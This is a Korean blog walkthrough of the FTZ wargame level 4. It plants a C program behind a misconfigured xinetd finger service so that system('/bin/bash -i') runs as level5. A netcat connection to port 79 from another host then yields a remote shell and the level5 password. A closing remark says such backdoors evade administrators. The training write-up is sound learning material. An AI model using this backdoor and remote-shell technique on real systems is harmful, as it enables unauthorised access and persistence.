<FTZ LEVEL4>
$ id
uid=3004(level4) gid=3004(level4) groups=3004(level4) |
$ cat hint
|
백도어란?
시스템 관리자가 일부러 열어 놓은 시스템의 보안 구멍이다.
처음에 백도어가 나오게 된 계기는 회사원들이 퇴근을 하고 원격으로 회사의 업무를 하기 위해
만들어 졌다고 한다. 하지만 해커들은 이것을 악용하여 공격을 위한 뒷문을 만들어 두는 것이다.
xinetd.d란?
리눅스 부팅 과정이 진행되면서 네트워크 데몬도 가동되는데 이를 수행하는 것이 xinetd 슈퍼 데몬 이다.
네트워크 데몬은 FTP,텔넷,SSH,아파치 등과 같은 네트워크 통신을 위한 데몬을 말한다.
xinetd는 이들의 부모 프로세스가 된다.
먼저 /etc/xinetd.d 폴더에 들어가본다
$ cd /etc/xinetd.d ; ls -l
-rw-r----- 1 root level4 171 Dec 8 2003 backdoor |
누가봐도 의심스러운 파일이 하나 있다.
level4 그룹으로 되어있는 backdoor 파일이다.
파일을 cat명령어로 보면 service finger가 보인다.
service finger |
user는 level5 인 상태로 server는 tmp에 있고 disable이 no이므로 enable 이다.
finger가 무엇인지 알아보자
finger 명령어는 인터넷 사용자에 대한 정보를 조회해 볼 수 있는 명령어 이다. 인터넷 망에
연결되어 있어야 가능하고 사용법은 두 가지가 있다.
1. finger CMD
2. finger opiont CMD
우선 service에 관한 정보는 /etc/services 파일에서 볼 수 있다.
grep명령어로 출력되는 strings중에 finger만 출력해본다.
$ cd /etc
$ cat services |grep finger
finger 79/tcp |
79번 포트를 사용한다.
이러한 정보는 netstat 명령어를 통해서도 확인 할 수 있다.
79번은 LISTEN으로 포트가 열려있고
23번은 ESTABLISHED로 되어있다. 현재 FTZ를 Telnet으로 연결해서 사용하고 있기 때문이다.
$ netstat -an ($ netstat -an | grep finger)
Active Internet connections (servers and established) |
다음으로 cat /etc/xinetd.d/backdoor 에
server 경로인 /home/level4/tmp/backdoor 경로를 확인한다.
$ls
아무것도 없다.
backdoor라는 이름의 파일을 만들기 위해 vi편집기를 이용해 C script를 하나 작성한다.
$ vi backdoor.c
#include <stdio.h> #include <stdlib.h> int main() { system("my-pass"); } |
$ gcc -o backdoor backdoor.c
컴파일하여 backdoor 파일을 만든다.
$ ls
backdoor backdoor.c |
$ finger level4@localhost
^[[H^[[J
|
backdoor 파일을 실행시켜 level5의 패스워드를 획득 할 수 있다.
아직 이해하지 못했는가?
finger의 서비스 통신 방식은
명령어를 변환하지 않고 그대로 전송하는 방식이다.
서비스의 통신 방식을 예를 들면
ftp ftpd
user01 ------>user user01----->
user01 ------>pass user01----->
telnet telnetd
ls ---------------> ls ---------->
user01 -----------> user01 ----->
이렇다. telnet은 finger와 같이 명령어를 변환하지 않고 그대로 전송하는 방식이다.
cat /etc/xinetd.d/backdoor 를 살펴 보았을때
user = level5
server = /home/level4/tmp/backdoor
이 말은 backdoor 파일을 실행할때 level5의 권한으로 실행 한다는 뜻이다.
/home/level4/tmp/backdoor -> /usr/sbin/in.telnetd 설정을 바꾸고 원격에서 접속한다면.
내가 원하는 프로그램이 실행 될 수 있도록 한다면.
백도어는 성공한다.
사실 level4의 목적은 xinetd 방식(원격 백도어) 이다.
my-pass가 아닌 bash를 얻어야 LEVEL4를 정복했다고 할 수 있는데
#include <stdio.h> #include <stdlib.h> int main() { system("/bin/bash"); } |
로는 정상적으로 명령어가 수행되지 않는다.
/bin/bash: line 1: level4 : command not found id my-pass
<CTRL + C> |
이것은 원격에서 nc(netcat) 명령어를 사용하여 쉘을 얻을 수 있다.
nc는 telnet과 동일한 기능을 한다고 보면 된다.
일종의 채팅 기능을 하는 역할을 한다.
FTZ server가 아닌 다른 server를 기동한다.
여기서는 Linux Server를 사용했다.
@LINUX Server
# yum -y install nc
# rpm -qa | grep nc
# nc 119.64.191.205 79 119.64.191.205 : FTZ System's IP
id uid=3005(level5) gid=3005(level5) my-pass
Level5 Password is "what is your name?".
pwd / cd /etc cat passwd ..... (중략) ..... level15:x:3095:3095::/home/level15:/bin/bash level16:x:3096:3096::/home/level16:/bin/bash level17:x:3097:3097::/home/level17:/bin/bash level18:x:3098:3098::/home/level18:/bin/bash level19:x:3099:3099::/home/level19:/bin/bash level20:x:3100:3100::/home/level20:/bin/bash clear:x:3101:3101::/home/clear:/bin/bash exit |
쉘의 정상적인 동작을 하기 위해
vi backdoor.c 를 수정한다
$ vi backdoor.c (FTZ server)
#include <stdlib.h>
int main() { system("/bin/bash -i"); } |
@LINUX Server
# nc 119.64.191.205 79
bash: no job control in this shell stty: standard input: Invalid argument [level5@ftz /]$ hostname ftz.hackerschool.org [level5@ftz /]$ id uid=3005(level5) gid=3005(level5) [level5@ftz /]$ my-pass exit |
이로서 성공적인 백도어를 했다고 볼 수 있다.
xinetd 방식의 원격 백도어의 특성으로
서비스 요청이 있지 않으면 데몬이 떠 있지 않은 상태이므로 관리자가 확인하기 어렵다는 점이 있다.
'Learning > └◆System Hacking' 카테고리의 다른 글
[War Game] FTZ LEVEL 6 (0) | 2017.01.22 |
---|---|
[War Game] FTZ LEVEL 5 (0) | 2017.01.21 |
[War Game] FTZ LEVEL 3 (0) | 2017.01.21 |
[War Game] FTZ LEVEL 2 (0) | 2017.01.21 |